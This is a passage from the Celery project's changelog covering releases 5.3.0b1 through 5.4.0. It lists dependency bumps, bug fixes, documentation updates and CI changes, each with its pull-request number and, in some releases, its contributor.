2141 - Bump pre-commit to 3.6.1 (#8839)
2142 - Bump pre-commit/action from 3.0.0 to 3.0.1 (#8835)
2143 - Bump pytest from 8.0.2 to 8.1.1 (#8901)
2144 - Bump pytest-celery to v1.0.0 (#8962)
2145 - Bump pytest-cov to 5.0.0 (#8924)
2146 - Bump pytest-order from 1.2.0 to 1.2.1 (#8941)
2147 - Bump pytest-subtests from 0.11.0 to 0.12.1 (#8896)
2148 - Bump pytest-timeout from 2.2.0 to 2.3.1 (#8894)
2149 - Bump python-memcached from 1.59 to 1.61 (#8776)
2150 - Bump sphinx-click from 4.4.0 to 5.1.0 (#8774)
2151 - Update cryptography to 42.0.5 (#8869)
2152 - Update elastic-transport requirement from <=8.12.0 to <=8.13.0 (#8933)
2153 - Update elasticsearch requirement from <=8.12.1 to <=8.13.0 (#8934)
2154 - Upgraded Sphinx from v5.3.0 to v7.x.x (#8803)
2155
2156 Changes since 5.4.0rc2
2157 ~~~~~~~~~~~~~~~~~~~~~~~
2158 - Update elastic-transport requirement from <=8.12.0 to <=8.13.0 (#8933)
2159 - Update elasticsearch requirement from <=8.12.1 to <=8.13.0 (#8934)
2160 - Hotfix: Smoke tests didn't allow customizing the worker's command arguments, now it does (#8937)
2161 - Bump pytest-celery to 1.0.0rc3 (#8946)
2162 - Update optimizing.rst (#8945)
2163 - Doc: Enhance "Testing with Celery" section (#8955)
2164 - Bump pytest-celery to v1.0.0 (#8962)
2165 - Bump pytest-order from 1.2.0 to 1.2.1 (#8941)
2166 - Added documentation to the smoke tests infra (#8970)
2167 - Added a checklist item for using pytest-celery in a bug report (#8971)
2168 - Added changelog for v5.4.0 (#8973)
2169 - Bump version: 5.4.0rc2 → 5.4.0 (#8974)
2170
2171 .. _version-5.4.0rc2:
2172
2173 5.4.0rc2
2174 ========
2175
2176 :release-date: 2024-03-27
2177 :release-by: Tomer Nosrati
2178
2179 - feat(daemon): allows daemonization options to be fetched from app settings (#8553)
2180 - Fixed version documentation tag from #8553 in configuration.rst (#8802)
2181 - Upgraded Sphinx from v5.3.0 to v7.x.x (#8803)
2182 - Update elasticsearch requirement from <=8.11.1 to <=8.12.0 (#8810)
2183 - Update elastic-transport requirement from <=8.11.0 to <=8.12.0 (#8811)
2184 - Update cryptography to 42.0.0 (#8814)
2185 - Catch UnicodeDecodeError when opening corrupt beat-schedule.db (#8806)
2186 - Update cryptography to 42.0.1 (#8817)
2187 - Limit moto to <5.0.0 until the breaking issues are fixed (#8820)
2188 - Enable efficient `chord` when using dynamicdb as backend store (#8783)
2189 - Add a Task class specialised for Django (#8491)
2190 - Sync kombu versions in requirements and setup.cfg (#8825)
2191 - chore(ci): Enhance CI with `workflow_dispatch` for targeted debugging and testing (#8826)
2192 - Update cryptography to 42.0.2 (#8827)
2193 - Docfix: pip install celery[sqs] -> pip install "celery[sqs]" (#8829)
2194 - Bump pre-commit/action from 3.0.0 to 3.0.1 (#8835)
2195 - Support moto 5.0 (#8838)
2196 - Another fix for `link_error` signatures being `dict`s instead of `Signature` s (#8841)
2197 - Bump codecov/codecov-action from 3 to 4 (#8831)
2198 - Upgrade from pytest-celery v1.0.0b1 -> v1.0.0b2 (#8843)
2199 - Bump pytest from 7.4.4 to 8.0.0 (#8823)
2200 - Update pre-commit to 3.6.1 (#8839)
2201 - Update cryptography to 42.0.3 (#8854)
2202 - Bump pytest from 8.0.0 to 8.0.1 (#8855)
2203 - Update cryptography to 42.0.4 (#8864)
2204 - Update pytest to 8.0.2 (#8870)
2205 - Update cryptography to 42.0.5 (#8869)
2206 - Update elasticsearch requirement from <=8.12.0 to <=8.12.1 (#8867)
2207 - Eliminate consecutive chords generated by group | task upgrade (#8663)
2208 - Make custom remote control commands available in CLI (#8489)
2209 - Add Google Cloud Storage (GCS) backend (#8868)
2210 - Bump msgpack from 1.0.7 to 1.0.8 (#8885)
2211 - Update pytest to 8.1.0 (#8886)
2212 - Bump pytest-timeout from 2.2.0 to 2.3.1 (#8894)
2213 - Bump pytest-subtests from 0.11.0 to 0.12.1 (#8896)
2214 - Bump mypy from 1.8.0 to 1.9.0 (#8898)
2215 - Update pytest to 8.1.1 (#8901)
2216 - Update contributing guide to use ssh upstream url (#8881)
2217 - Fix recursive result parents on group in middle of chain (#8903)
2218 - Bump pytest-celery to 1.0.0b4 (#8899)
2219 - Adjusted smoke tests CI time limit (#8907)
2220 - Update pytest-rerunfailures to 14.0 (#8910)
2221 - Use the "all" extra for pytest-celery (#8911)
2222 - Fix typos and grammar (#8915)
2223 - Bump pytest-celery to 1.0.0rc1 (#8918)
2224 - Print safe_say() to stdout for non-error flows (#8919)
2225 - Update pytest-cov to 5.0.0 (#8924)
2226 - Bump pytest-celery to 1.0.0rc2 (#8928)
2227
2228 .. _version-5.4.0rc1:
2229
2230 5.4.0rc1
2231 ========
2232
2233 :release-date: 2024-01-17 7:00 P.M GMT+2
2234 :release-by: Tomer Nosrati
2235
2236 Celery v5.4 continues our effort to provide improved stability in production
2237 environments. The release candidate version is available for testing.
2238 The official release is planned for March-April 2024.
2239
2240 - New Config: worker_enable_prefetch_count_reduction (#8581)
2241 - Added "Serverless" section to Redis doc (redis.rst) (#8640)
2242 - Upstash's Celery example repo link fix (#8665)
2243 - Update mypy version (#8679)
2244 - Update cryptography dependency to 41.0.7 (#8690)
2245 - Add type annotations to celery/utils/nodenames.py (#8667)
2246 - Issue 3426. Adding myself to the contributors. (#8696)
2247 - Bump actions/setup-python from 4 to 5 (#8701)
2248 - Fixed bug where chord.link_error() throws an exception on a dict type errback object (#8702)
2249 - Bump github/codeql-action from 2 to 3 (#8725)
2250 - Fixed multiprocessing integration tests not running on Mac (#8727)
2251 - Added make docker-docs (#8729)
2252 - Fix DeprecationWarning: datetime.datetime.utcnow() (#8726)
2253 - Remove `new` adjective in docs (#8743)
2254 - add type annotation to celery/utils/sysinfo.py (#8747)
2255 - add type annotation to celery/utils/iso8601.py (#8750)
2256 - Change type annotation to celery/utils/iso8601.py (#8752)
2257 - Update test deps (#8754)
2258 - Mark flaky: test_asyncresult_get_cancels_subscription() (#8757)
2259 - change _read_as_base64 (b64encode returns bytes) on celery/utils/term.py (#8759)
2260 - Replace string concatenation with fstring on celery/utils/term.py (#8760)
2261 - Add type annotation to celery/utils/term.py (#8755)
2262 - Skipping test_tasks::test_task_accepted (#8761)
2263 - Updated concurrency docs page. (#8753)
2264 - Changed pyup -> dependabot for updating dependencies (#8764)
2265 - Bump isort from 5.12.0 to 5.13.2 (#8772)
2266 - Update elasticsearch requirement from <=8.11.0 to <=8.11.1 (#8775)
2267 - Bump sphinx-click from 4.4.0 to 5.1.0 (#8774)
2268 - Bump python-memcached from 1.59 to 1.61 (#8776)
2269 - Update elastic-transport requirement from <=8.10.0 to <=8.11.0 (#8780)
2270 - python-memcached==1.61 -> python-memcached>=1.61 (#8787)
2271 - Remove usage of utcnow (#8791)
2272 - Smoke Tests (#8793)
2273 - Moved smoke tests to their own workflow (#8797)
2274 - Bugfix: Worker not consuming tasks after Redis broker restart (#8796)
2275 - Bugfix: Missing id on chain (#8798)
2276
2277 .. _version-5.3.6:
2278
2279 5.3.6
2280 =====
2281
2282 :release-date: 2023-11-22 9:15 P.M GMT+6
2283 :release-by: Asif Saif Uddin
2284
2285 This release is focused mainly to fix AWS SQS new feature comatibility issue and old regressions.
2286 The code changes are mostly fix for regressions. More details can be found below.
2287
2288 - Increased docker-build CI job timeout from 30m -> 60m (#8635)
2289 - Incredibly minor spelling fix. (#8649)
2290 - Fix non-zero exit code when receiving remote shutdown (#8650)
2291 - Update task.py get_custom_headers missing 'compression' key (#8633)
2292 - Update kombu>=5.3.4 to fix SQS request compatibility with boto JSON serializer (#8646)
2293 - test requirements version update (#8655)
2294 - Update elasticsearch version (#8656)
2295 - Propagates more ImportErrors during autodiscovery (#8632)
2296
2297 .. _version-5.3.5:
2298
2299 5.3.5
2300 =====
2301
2302 :release-date: 2023-11-10 7:15 P.M GMT+6
2303 :release-by: Asif Saif Uddin
2304
2305 - Update test.txt versions (#8481)
2306 - fix os.getcwd() FileNotFoundError (#8448)
2307 - Fix typo in CONTRIBUTING.rst (#8494)
2308 - typo(doc): configuration.rst (#8484)
2309 - assert before raise (#8495)
2310 - Update GHA checkout version (#8496)
2311 - Fixed replaced_task_nesting (#8500)
2312 - Fix code indentation for route_task() example (#8502)
2313 - support redis 5.x (#8504)
2314 - Fix typos in test_canvas.py (#8498)
2315 - Marked flaky tests (#8508)
2316 - Fix typos in calling.rst (#8506)
2317 - Added support for replaced_task_nesting in chains (#8501)
2318 - Fix typos in canvas.rst (#8509)
2319 - Patch Version Release Checklist (#8488)
2320 - Added Python 3.11 support to Dockerfile (#8511)
2321 - Dependabot (Celery) (#8510)
2322 - Bump actions/checkout from 3 to 4 (#8512)
2323 - Update ETA example to include timezone (#8516)
2324 - Replaces datetime.fromisoformat with the more lenient dateutil parser (#8507)
2325 - Fixed indentation in Dockerfile for Python 3.11 (#8527)
2326 - Fix git bug in Dockerfile (#8528)
2327 - Tox lint upgrade from Python 3.9 to Python 3.11 (#8526)
2328 - Document gevent concurrency (#8520)
2329 - Update test.txt (#8530)
2330 - Celery Docker Upgrades (#8531)
2331 - pyupgrade upgrade v3.11.0 -> v3.13.0 (#8535)
2332 - Update msgpack.txt (#8548)
2333 - Update auth.txt (#8547)
2334 - Update msgpack.txt to fix build issues (#8552)
2335 - Basic ElasticSearch / ElasticClient 8.x Support (#8519)
2336 - Fix eager tasks does not populate name field (#8486)
2337 - Fix typo in celery.app.control (#8563)
2338 - Update solar.txt ephem (#8566)
2339 - Update test.txt pytest-timeout (#8565)
2340 - Correct some mypy errors (#8570)
2341 - Update elasticsearch.txt (#8573)
2342 - Update test.txt deps (#8574)
2343 - Update test.txt (#8590)
2344 - Improved the "Next steps" documentation (#8561). (#8600)
2345 - Disabled couchbase tests due to broken package breaking main (#8602)
2346 - Update elasticsearch deps (#8605)
2347 - Update cryptography==41.0.5 (#8604)
2348 - Update pytest==7.4.3 (#8606)
2349 - test initial support of python 3.12.x (#8549)
2350 - updated new versions to fix CI (#8607)
2351 - Update zstd.txt (#8609)
2352 - Fixed CI Support with Python 3.12 (#8611)
2353 - updated CI, docs and classifier for next release (#8613)
2354 - updated dockerfile to add python 3.12 (#8614)
2355 - lint,mypy,docker-unit-tests -> Python 3.12 (#8617)
2356 - Correct type of `request` in `task_revoked` documentation (#8616)
2357 - update docs docker image (#8618)
2358 - Fixed RecursionError caused by giving `config_from_object` nested mod… (#8619)
2359 - Fix: serialization error when gossip working (#6566)
2360 - [documentation] broker_connection_max_retries of 0 does not mean "retry forever" (#8626)
2361 - added 2 debian package for better stability in Docker (#8629)
2362
2363 .. _version-5.3.4:
2364
2365 5.3.4
2366 =====
2367
2368 :release-date: 2023-09-03 10:10 P.M GMT+2
2369 :release-by: Tomer Nosrati
2370
2371 .. warning::
2372 This version has reverted the breaking changes introduced in 5.3.2 and 5.3.3:
2373
2374 - Revert "store children with database backend" (#8475)
2375 - Revert "Fix eager tasks does not populate name field" (#8476)
2376
2377 - Bugfix: Removed unecessary stamping code from _chord.run() (#8339)
2378 - User guide fix (hotfix for #1755) (#8342)
2379 - store children with database backend (#8338)
2380 - Stamping bugfix with group/chord header errback linking (#8347)
2381 - Use argsrepr and kwargsrepr in LOG_RECEIVED (#8301)
2382 - Fixing minor typo in code example in calling.rst (#8366)
2383 - add documents for timeout settings (#8373)
2384 - fix: copyright year (#8380)
2385 - setup.py: enable include_package_data (#8379)
2386 - Fix eager tasks does not populate name field (#8383)
2387 - Update test.txt dependencies (#8389)
2388 - Update auth.txt deps (#8392)
2389 - Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (#8391)
2390 - Support preload options for shell and purge commands (#8374)
2391 - Implement safer ArangoDB queries (#8351)
2392 - integration test: cleanup worker after test case (#8361)
2393 - Added "Tomer Nosrati" to CONTRIBUTORS.txt (#8400)
2394 - Update README.rst (#8404)
2395 - Update README.rst (#8408)
2396 - fix(canvas): add group index when unrolling tasks (#8427)
2397 - fix(beat): debug statement should only log AsyncResult.id if it exists (#8428)
2398 - Lint fixes & pre-commit autoupdate (#8414)
2399 - Update auth.txt (#8435)
2400 - Update mypy on test.txt (#8438)
2401 - added missing kwargs arguments in some cli cmd (#8049)
2402 - Fix #8431: Set format_date to False when calling _get_result_meta on mongo backend (#8432)
2403 - Docs: rewrite out-of-date code (#8441)
2404 - Limit redis client to 4.x since 5.x fails the test suite (#8442)
2405 - Limit tox to < 4.9 (#8443)
2406 - Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (#8446)
2407 - doc update from #7651 (#8451)
2408 - Remove tox version limit (#8464)
2409 - Fixed AttributeError: 'str' object has no attribute (#8463)
2410 - Upgraded Kombu from 5.3.1 -> 5.3.2 (#8468)
2411 - Document need for CELERY_ prefix on CLI env vars (#8469)
2412 - Use string value for CELERY_SKIP_CHECKS envvar (#8462)
2413 - Revert "store children with database backend" (#8475)
2414 - Revert "Fix eager tasks does not populate name field" (#8476)
2415 - Update Changelog (#8474)
2416 - Remove as it seems to be buggy. (#8340)
2417 - Revert "Add Semgrep to CI" (#8477)
2418 - Revert "Revert "Add Semgrep to CI"" (#8478)
2419
2420 .. _version-5.3.3:
2421
2422 5.3.3 (Yanked)
2423 ==============
2424
2425 :release-date: 2023-08-31 1:47 P.M GMT+2
2426 :release-by: Tomer Nosrati
2427
2428 .. warning::
2429 This version has been yanked due to breaking API changes. The breaking changes include:
2430
2431 - Store children with database backend (#8338)
2432 - Fix eager tasks does not populate name field (#8383)
2433
2434 - Fixed changelog for 5.3.2 release docs.
2435
2436 .. _version-5.3.2:
2437
2438 5.3.2 (Yanked)
2439 ==============
2440
2441 :release-date: 2023-08-31 1:30 P.M GMT+2
2442 :release-by: Tomer Nosrati
2443
2444 .. warning::
2445 This version has been yanked due to breaking API changes. The breaking changes include:
2446
2447 - Store children with database backend (#8338)
2448 - Fix eager tasks does not populate name field (#8383)
2449
2450 - Bugfix: Removed unecessary stamping code from _chord.run() (#8339)
2451 - User guide fix (hotfix for #1755) (#8342)
2452 - Store children with database backend (#8338)
2453 - Stamping bugfix with group/chord header errback linking (#8347)
2454 - Use argsrepr and kwargsrepr in LOG_RECEIVED (#8301)
2455 - Fixing minor typo in code example in calling.rst (#8366)
2456 - Add documents for timeout settings (#8373)
2457 - Fix: copyright year (#8380)
2458 - Setup.py: enable include_package_data (#8379)
2459 - Fix eager tasks does not populate name field (#8383)
2460 - Update test.txt dependencies (#8389)
2461 - Update auth.txt deps (#8392)
2462 - Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (#8391)
2463 - Support preload options for shell and purge commands (#8374)
2464 - Implement safer ArangoDB queries (#8351)
2465 - Integration test: cleanup worker after test case (#8361)
2466 - Added "Tomer Nosrati" to CONTRIBUTORS.txt (#8400)
2467 - Update README.rst (#8404)
2468 - Update README.rst (#8408)
2469 - Fix(canvas): add group index when unrolling tasks (#8427)
2470 - Fix(beat): debug statement should only log AsyncResult.id if it exists (#8428)
2471 - Lint fixes & pre-commit autoupdate (#8414)
2472 - Update auth.txt (#8435)
2473 - Update mypy on test.txt (#8438)
2474 - Added missing kwargs arguments in some cli cmd (#8049)
2475 - Fix #8431: Set format_date to False when calling _get_result_meta on mongo backend (#8432)
2476 - Docs: rewrite out-of-date code (#8441)
2477 - Limit redis client to 4.x since 5.x fails the test suite (#8442)
2478 - Limit tox to < 4.9 (#8443)
2479 - Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (#8446)
2480 - Doc update from #7651 (#8451)
2481 - Remove tox version limit (#8464)
2482 - Fixed AttributeError: 'str' object has no attribute (#8463)
2483 - Upgraded Kombu from 5.3.1 -> 5.3.2 (#8468)
2484
2485 .. _version-5.3.1:
2486
2487 5.3.1
2488 =====
2489
2490 :release-date: 2023-06-18 8:15 P.M GMT+6
2491 :release-by: Asif Saif Uddin
2492
2493 - Upgrade to latest pycurl release (#7069).
2494 - Limit librabbitmq>=2.0.0; python_version < '3.11' (#8302).
2495 - Added initial support for python 3.11 (#8304).
2496 - ChainMap observers fix (#8305).
2497 - Revert optimization CLI flag behaviour back to original.
2498 - Restrict redis 4.5.5 as it has severe bugs (#8317).
2499 - Tested pypy 3.10 version in CI (#8320).
2500 - Bump new version of kombu to 5.3.1 (#8323).
2501 - Fixed a small float value of retry_backoff (#8295).
2502 - Limit pyro4 up to python 3.10 only as it is (#8324).
2503
2504 .. _version-5.3.0:
2505
2506 5.3.0
2507 =====
2508
2509 :release-date: 2023-06-06 12:00 P.M GMT+6
2510 :release-by: Asif Saif Uddin
2511
2512 - Test kombu 5.3.0 & minor doc update (#8294).
2513 - Update librabbitmq.txt > 2.0.0 (#8292).
2514 - Upgrade syntax to py3.8 (#8281).
2515
2516 .. _version-5.3.0rc2:
2517
2518 5.3.0rc2
2519 ========
2520
2521 :release-date: 2023-05-31 9:00 P.M GMT+6
2522 :release-by: Asif Saif Uddin
2523
2524 - Add missing dependency.
2525 - Fix exc_type being the exception instance rather.
2526 - Fixed revoking tasks by stamped headers (#8269).
2527 - Support sqlalchemy 2.0 in tests (#8271).
2528 - Fix docker (#8275).
2529 - Update redis.txt to 4.5 (#8278).
2530 - Update kombu>=5.3.0rc2.
2531
2532
2533 .. _version-5.3.0rc1:
2534
2535 5.3.0rc1
2536 ========
2537
2538 :release-date: 2023-05-11 4:24 P.M GMT+2
2539 :release-by: Tomer Nosrati
2540
2541 - fix functiom name by @cuishuang in #8087
2542 - Update CELERY_TASK_EAGER setting in user guide by @thebalaa in #8085
2543 - Stamping documentation fixes & cleanups by @Nusnus in #8092
2544 - switch to maintained pyro5 by @auvipy in #8093
2545 - udate dependencies of tests by @auvipy in #8095
2546 - cryptography==39.0.1 by @auvipy in #8096
2547 - Annotate celery/security/certificate.py by @Kludex in #7398
2548 - Deprecate parse_iso8601 in favor of fromisoformat by @stumpylog in #8098
2549 - pytest==7.2.2 by @auvipy in #8106
2550 - Type annotations for celery/utils/text.py by @max-muoto in #8107
2551 - Update web framework URLs by @sblondon in #8112
2552 - Fix contribution URL by @sblondon in #8111
2553 - Trying to clarify CERT_REQUIRED by @pamelafox in #8113
2554 - Fix potential AttributeError on 'stamps' by @Darkheir in #8115
2555 - Type annotations for celery/apps/beat.py by @max-muoto in #8108
2556 - Fixed bug where retrying a task loses its stamps by @Nusnus in #8120
2557 - Type hints for celery/schedules.py by @max-muoto in #8114
2558 - Reference Gopher Celery in README by @marselester in #8131
2559 - Update sqlalchemy.txt by @auvipy in #8136
2560 - azure-storage-blob 12.15.0 by @auvipy in #8137
2561 - test kombu 5.3.0b3 by @auvipy in #8138
2562 - fix: add expire string parse. by @Bidaya0 in #8134
2563 - Fix worker crash on un-pickleable exceptions by @youtux in #8133
2564 - CLI help output: avoid text rewrapping by click by @woutdenolf in #8152
2565 - Warn when an unnamed periodic task override another one. by @iurisilvio in #8143
2566 - Fix Task.handle_ignore not wrapping exceptions properly by @youtux in #8149
2567 - Hotfix for (#8120) - Stamping bug with retry by @Nusnus in #8158
2568 - Fix integration test by @youtux in #8156
2569 - Fixed bug in revoke_by_stamped_headers where impl did not match doc by @Nusnus in #8162
2570 - Align revoke and revoke_by_stamped_headers return values (terminate=True) by @Nusnus in #8163
2571 - Update & simplify GHA pip caching by @stumpylog in #8164
2572 - Update auth.txt by @auvipy in #8167
2573 - Update test.txt versions by @auvipy in #8173
2574 - remove extra = from test.txt by @auvipy in #8179
2575 - Update sqs.txt kombu[sqs]>=5.3.0b3 by @auvipy in #8174
2576 - Added signal triggered before fork by @jaroslawporada in #8177
2577 - Update documentation on SQLAlchemy by @max-muoto in #8188
2578 - Deprecate pytz and use zoneinfo by @max-muoto in #8159
2579 - Update dev.txt by @auvipy in #8192
2580 - Update test.txt by @auvipy in #8193
2581 - Update test-integration.txt by @auvipy in #8194
2582 - Update zstd.txt by @auvipy in #8195
2583 - Update s3.txt by @auvipy in #8196
2584 - Update msgpack.txt by @auvipy in #8199
2585 - Update solar.txt by @auvipy in #8198
2586 - Add Semgrep to CI by @Nusnus in #8201
2587 - Added semgrep to README.rst by @Nusnus in #8202
2588 - Update django.txt by @auvipy in #8197
2589 - Update redis.txt 4.3.6 by @auvipy in #8161
2590 - start removing codecov from pypi by @auvipy in #8206
2591 - Update test.txt dependencies by @auvipy in #8205
2592 - Improved doc for: worker_deduplicate_successful_tasks by @Nusnus in #8209
2593 - Renamed revoked_headers to revoked_stamps by @Nusnus in #8210
2594 - Ensure argument for map is JSON serializable by @candleindark in #8229
2595
2596 .. _version-5.3.0b2:
2597
2598 5.3.0b2
2599 =======
2600
2601 :release-date: 2023-02-19 1:47 P.M GMT+2
2602 :release-by: Asif Saif Uddin
2603
2604 - BLM-2: Adding unit tests to chord clone by @Nusnus in #7668
2605 - Fix unknown task error typo by @dcecile in #7675
2606 - rename redis integration test class so that tests are executed by @wochinge in #7684
2607 - Check certificate/private key type when loading them by @qrmt in #7680
2608 - Added integration test_chord_header_id_duplicated_on_rabbitmq_msg_duplication() by @Nusnus in #7692
2609 - New feature flag: allow_error_cb_on_chord_header - allowing setting an error callback on chord header by @Nusnus in #7712
2610 - Update README.rst sorting Python/Celery versions by @andrebr in #7714
2611 - Fixed a bug where stamping a chord body would not use the correct stamping method by @Nusnus in #7722
2612 - Fixed doc duplication typo for Signature.stamp() by @Nusnus in #7725
2613 - Fix issue 7726: variable used in finally block may not be instantiated by @woutdenolf in #7727
2614 - Fixed bug in chord stamping with another chord as a body + unit test by @Nusnus in #7730
2615 - Use "describe_table" not "create_table" to check for existence of DynamoDB table by @maxfirman in #7734
2616 - Enhancements for task_allow_error_cb_on_chord_header tests and docs by @Nusnus in #7744
2617 - Improved custom stamping visitor documentation by @Nusnus in #7745
2618 - Improved the coverage of test_chord_stamping_body_chord() by @Nusnus in #7748
2619 - billiard >= 3.6.3.0,<5.0 for rpm by @auvipy in #7764
2620 - Fixed memory leak with ETA tasks at connection error when worker_cancel_long_running_tasks_on_connection_loss is enabled by @Nusnus in #7771
2621 - Fixed bug where a chord with header of type tuple was not supported in the link_error flow for task_allow_error_cb_on_chord_header flag by @Nusnus in #7772
2622 - Scheduled weekly dependency update for week 38 by @pyup-bot in #7767
2623 - recreate_module: set spec to the new module by @skshetry in #7773
2624 - Override integration test config using integration-tests-config.json by @thedrow in #7778
2625 - Fixed error handling bugs due to upgrade to a newer version of billiard by @Nusnus in #7781
2626 - Do not recommend using easy_install anymore by @jugmac00 in #7789
2627 - GitHub Workflows security hardening by @sashashura in #7768
2628 - Update ambiguous acks_late doc by @Zhong-z in #7728
2629 - billiard >=4.0.2,<5.0 by @auvipy in #7720
2630 - importlib_metadata remove deprecated entry point interfaces by @woutdenolf in #7785
2631 - Scheduled weekly dependency update for week 41 by @pyup-bot in #7798
2632 - pyzmq>=22.3.0 by @auvipy in #7497
2633 - Remove amqp from the BACKEND_ALISES list by @Kludex in #7805
2634 - Replace print by logger.debug by @Kludex in #7809
2635 - Ignore coverage on except ImportError by @Kludex in #7812
2636 - Add mongodb dependencies to test.txt by @Kludex in #7810
2637 - Fix grammar typos on the whole project by @Kludex in #7815
2638 - Remove isatty wrapper function by @Kludex in #7814
2639 - Remove unused variable _range by @Kludex in #7813
2640 - Add type annotation on concurrency/threads.py by @Kludex in #7808
2641 - Fix linter workflow by @Kludex in #7816
2642 - Scheduled weekly dependency update for week 42 by @pyup-bot in #7821
2643 - Remove .cookiecutterrc by @Kludex in #7830
2644 - Remove .coveragerc file by @Kludex in #7826
2645 - kombu>=5.3.0b2 by @auvipy in #7834
2646 - Fix readthedocs build failure by @woutdenolf in #7835
2647 - Fixed bug in group, chord, chain stamp() method, where the visitor overrides the previously stamps in tasks of these objects by @Nusnus in #7825
2648 - Stabilized test_mutable_errback_called_by_chord_from_group_fail_multiple by @Nusnus in #7837
2649 - Use SPDX license expression in project metadata by @RazerM in #7845
2650 - New control command revoke_by_stamped_headers by @Nusnus in #7838
2651 - Clarify wording in Redis priority docs by @strugee in #7853
2652 - Fix non working example of using celery_worker pytest fixture by @paradox-lab in #7857
2653 - Removed the mandatory requirement to include stamped_headers key when implementing on_signature() by @Nusnus in #7856
2654 - Update serializer docs by @sondrelg in #7858
2655 - Remove reference to old Python version by @Kludex in #7829
2656 - Added on_replace() to Task to allow manipulating the replaced sig with custom changes at the end of the task.replace() by @Nusnus in #7860
2657 - Add clarifying information to completed_count documentation by @hankehly in #7873
2658 - Stabilized test_revoked_by_headers_complex_canvas by @Nusnus in #7877
2659 - StampingVisitor will visit the callbacks and errbacks of the signature by @Nusnus in #7867
2660 - Fix "rm: no operand" error in clean-pyc script by @hankehly in #7878
2661 - Add --skip-checks flag to bypass django core checks by @mudetz in #7859
2662 - Scheduled weekly dependency update for week 44 by @pyup-bot in #7868
2663 - Added two new unit tests to callback stamping by @Nusnus in #7882
2664 - Sphinx extension: use inspect.signature to make it Python 3.11 compatible by @mathiasertl in #7879
2665 - cryptography==38.0.3 by @auvipy in #7886
2666 - Canvas.py doc enhancement by @Nusnus in #7889
2667 - Fix typo by @sondrelg in #7890
2668 - fix typos in optional tests by @hsk17 in #7876
2669 - Canvas.py doc enhancement by @Nusnus in #7891
2670 - Fix revoke by headers tests stability by @Nusnus in #7892
2671 - feat: add global keyprefix for backend result keys by @kaustavb12 in #7620
2672 - Canvas.py doc enhancement by @Nusnus in #7897
2673 - fix(sec): upgrade sqlalchemy to 1.2.18 by @chncaption in #7899
2674 - Canvas.py doc enhancement by @Nusnus in #7902
2675 - Fix test warnings by @ShaheedHaque in #7906
2676 - Support for out-of-tree worker pool implementations by @ShaheedHaque in #7880
2677 - Canvas.py doc enhancement by @Nusnus in #7907
2678 - Use bound task in base task example. Closes #7909 by @WilliamDEdwards in #7910
2679 - Allow the stamping visitor itself to set the stamp value type instead of casting it to a list by @Nusnus in #7914
2680 - Stamping a task left the task properties dirty by @Nusnus in #7916
2681 - Fixed bug when chaining a chord with a group by @Nusnus in #7919
2682 - Fixed bug in the stamping visitor mechanism where the request was lacking the stamps in the 'stamps' property by @Nusnus in #7928
2683 - Fixed bug in task_accepted() where the request was not added to the requests but only to the active_requests by @Nusnus in #7929
2684 - Fix bug in TraceInfo._log_error() where the real exception obj was hiding behind 'ExceptionWithTraceback' by @Nusnus in #7930
2685 - Added integration test: test_all_tasks_of_canvas_are_stamped() by @Nusnus in #7931
2686 - Added new example for the stamping mechanism: examples/stamping by @Nusnus in #7933
2687 - Fixed a bug where replacing a stamped task and stamping it again by @Nusnus in #7934
2688 - Bugfix for nested group stamping on task replace by @Nusnus in #7935
2689 - Added integration test test_stamping_example_canvas() by @Nusnus in #7937
2690 - Fixed a bug in losing chain links when unchaining an inner chain with links by @Nusnus in #7938
2691 - Removing as not mandatory by @auvipy in #7885
2692 - Housekeeping for Canvas.py by @Nusnus in #7942
2693 - Scheduled weekly dependency update for week 50 by @pyup-bot in #7954
2694 - try pypy 3.9 in CI by @auvipy in #7956
2695 - sqlalchemy==1.4.45 by @auvipy in #7943
2696 - billiard>=4.1.0,<5.0 by @auvipy in #7957
2697 - feat(typecheck): allow changing type check behavior on the app level; by @moaddib666 in #7952
2698 - Add broker_channel_error_retry option by @nkns165 in #7951
2699 - Add beat_cron_starting_deadline_seconds to prevent unwanted cron runs by @abs25 in #7945
2700 - Scheduled weekly dependency update for week 51 by @pyup-bot in #7965
2701 - Added doc to "retry_errors" newly supported field of "publish_retry_policy" of the task namespace by @Nusnus in #7967
2702 - Renamed from master to main in the docs and the CI workflows by @Nusnus in #7968
2703 - Fix docs for the exchange to use with worker_direct by @alessio-b2c2 in #7973
2704 - Pin redis==4.3.4 by @auvipy in #7974
2705 - return list of nodes to make sphinx extension compatible with Sphinx 6.0 by @mathiasertl in #7978
2706 - use version range redis>=4.2.2,<4.4.0 by @auvipy in #7980
2707 - Scheduled weekly dependency update for week 01 by @pyup-bot in #7987
2708 - Add annotations to minimise differences with celery-aio-pool's tracer.py. by @ShaheedHaque in #7925
2709 - Fixed bug where linking a stamped task did not add the stamp to the link's options by @Nusnus in #7992
2710 - sqlalchemy==1.4.46 by @auvipy in #7995
2711 - pytz by @auvipy in #8002
2712 - Fix few typos, provide configuration + workflow for codespell to catch any new by @yarikoptic in #8023
2713 - RabbitMQ links update by @arnisjuraga in #8031
2714 - Ignore files generated by tests by @Kludex in #7846
2715 - Revert "sqlalchemy==1.4.46 (#7995)" by @Nusnus in #8033
2716 - Fixed bug with replacing a stamped task with a chain or a group (inc. links/errlinks) by @Nusnus in #8034
2717 - Fixed formatting in setup.cfg that caused flake8 to misbehave by @Nusnus in #8044
2718 - Removed duplicated import Iterable by @Nusnus in #8046
2719 - Fix docs by @Nusnus in #8047
2720 - Document --logfile default by @strugee in #8057
2721 - Stamping Mechanism Refactoring by @Nusnus in #8045
2722 - result_backend_thread_safe config shares backend across threads by @CharlieTruong in #8058
2723 - Fix cronjob that use day of month and negative UTC timezone by @pkyosx in #8053
2724 - Stamping Mechanism Examples Refactoring by @Nusnus in #8060
2725 - Fixed bug in Task.on_stamp_replaced() by @Nusnus in #8061
2726 - Stamping Mechanism Refactoring 2 by @Nusnus in #8064
2727 - Changed default append_stamps from True to False (meaning duplicates … by @Nusnus in #8068
2728 - typo in comment: mailicious => malicious by @yanick in #8072
2729 - Fix command for starting flower with specified broker URL by @ShukantPal in #8071
2730 - Improve documentation on ETA/countdown tasks (#8069) by @norbertcyran in #8075
2731
2732 .. _version-5.3.0b1:
2733
2734 5.3.0b1
2735 =======
2736
2737 :release-date: 2022-08-01 5:15 P.M UTC+6:00
2738 :release-by: Asif Saif Uddin
2739
2740 - Canvas Header Stamping (#7384).
2741 - async chords should pass it's kwargs to the group/body.
